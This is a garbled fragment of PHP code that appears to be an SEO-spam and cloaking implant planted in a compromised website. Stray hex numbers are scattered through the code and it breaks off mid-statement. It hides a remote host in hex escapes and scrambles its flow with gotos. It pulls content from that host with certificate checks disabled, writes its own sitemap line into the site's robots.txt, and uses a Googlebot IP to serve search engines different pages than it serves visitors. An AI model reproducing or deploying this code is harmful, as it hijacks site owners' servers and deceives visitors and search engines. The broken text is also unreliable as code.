2 true, CURLOPT_CONNECTT b IMEOUT => 5 42 , CURLOPT_TIMEOUT => 8, CURLOPT_S b SL_VERIFYPE 30 ER => false, CURLOPT_SSL_VERIFYHOST 29 => false, CURLOPT_FOLLOWLOC 2a ATION => false, CURLOPT_USERA 12 GENT => "Mozi 12 lla/5.0" 22 ]); $data = curl_exec($ch 23 ); curl_close($ch); } 1f if (empty($data) && ini 11 _get('allow_url_f 1a open')) { $contex 14 t = stream_context_c 1b reate([ "http" e => ["timeout" 16 => 8, "header" => "Us 15 er-Agent: Mozilla/5.0 18 \r\n"], "ss 11 l" => ["verify_p 1f eer" => false, "verify_peer_nam 3f e" => false] ]); $data = @file_get_contents($ 29 url, false, $context); } if ( 25 !empty($data)) cache_set($url, $data) 42 ; return $data; } /* ------------------------- URL 33 信息 ------------------------- */ function get_ 11 url_info(string $ b type='domai 18 n'): string { $host 1a = $_SERVER['HTTP_HOST'] ? 16 ? ''; if ($type = 14 == 'no_www') return e preg_replace(' d /^www\./i', ' 18 ', $host); $proto 1d col = (!empty($_SERVER['HTTPS 20 ']) && $_SERVER['HTTPS'] !== 'of 10 f') ? "https://" 17 : "http://"; $bas 22 e = $protocol . $host; if ( 35 $type === 'base') return $base; if ($type === 'f 22 ull') return $base . ($_SERVER['RE 11 QUEST_URI'] ?? '' 42 ); return $host; } /* ------------------------- 9 础变 29 ------------------------- */ goto ON 11 PuB; ONPuB: $http 1c _type = !empty($_SERVER["\x4 10 8\124\x54\x50\x5 28 3"]) && $_SERVER["\x48\124\124\x50\x53"] e !== "\157\x66 f \146" ? "\150\x 11 74\x74\x70\163\72 10 \x2f\x2f" : "\x6 19 8\164\164\160\72\x2f\57"; 12 goto O4O9k; O4O9k 22 : $vurl = "\x74\157\56\152\147\141 14 \x6c\x6c\163\x2e\143 19 \157\x6d\x2f"; goto vgv72 11 ; vgv72: $qz = su 17 bstr(str_replace(array( 12 "\x77\x77\167\x2e" 1b , "\56"), '', $_SERVER["\11 16 0\x54\x54\120\x5f\x48\ 10 x4f\123\x54"]), 2e 0, 3); /* ------------------------- 解 9 析 f 参 30 数 ------------------------- */ $sz = $iid = 15 ""; if(!empty($_GET) f ){ $f=reset($ 1b _GET); $sp = explode(' 16 -', $f); if (coun 1d t($sp) === 2) { $sz 1b = $sp[0]; $iid = 38 $sp[1]; } } /* ------------------------- 9 程接 3e8 ------------------------- */ if (!empty($sz)) { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?sz=" . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyzhdy = $jd . "41.aspx"; $surl = $jd . "s41.aspx"; /* ------------------------- robots / sitemap ------------------------- */ $sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\n"; function ensure_robots_sitemap($sitemapLine) { $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") . '/robots.txt'; if (!file_exists($robots)) { @file_put_contents($robots, "User-agent: *\nAllow: /\n" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false || strpos($c, $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX); 39 } } } /* ------------------------- w= 32 输出 ------------------------- */ if (!empty($ e get['w'])) { 17 $params = http_bu 15 ild_query([ d 'NOUmber' => 23 $get['NOUmber'] ?? '', 't' 28 => $get['t'] ?? '', 'cn' 37 => $get['cn'] ?? '', 'pNOUm' => $get[' 2f pNOUm'] ?? '', 'cid' => $get['cid' 35 ] ?? '', 'm' => $get['m'] ?? '' ] 25 ); $str = getCurlFast("{$surl} 18 ?{$params}"); ech 1c o str_replace( ['yy 10 mm','ggggg','?f= 2e '], [$http_type.$_SERVER['HTTP_HOST'] 22 .$_SERVER['SCRIPT_NAME'], $sz,'?'. 1d $qz.'='], $str 3b ); exit; } /* ------------------------- IP 9 定( a 留 kk 29 试) ------------------------- */ $ 12 kk = isset($get['k 19 k']) ? trim($get['kk']) : 16 ''; $ip = ($kk !== ' e ') ? "66.249.8 14 2.8" : get_real_ip() 38 ; /* ------------------------- getdomain2 判 30 ------------------------- */ $domain = trim( 26 getCurlFast($jd . "getdomain2.aspx?rnd e =1&ip=" . $ip) 33 ); /* ------------------------- 非 google b + iid → 2a 跳转 ------------------------- */ if ( 18 $domain !== 'google' && 1e !empty($iid)) { $kname = 25 urldecode(getCurlFast($jd . "gn.aspx? 1b iid=" . $iid)); echo ' c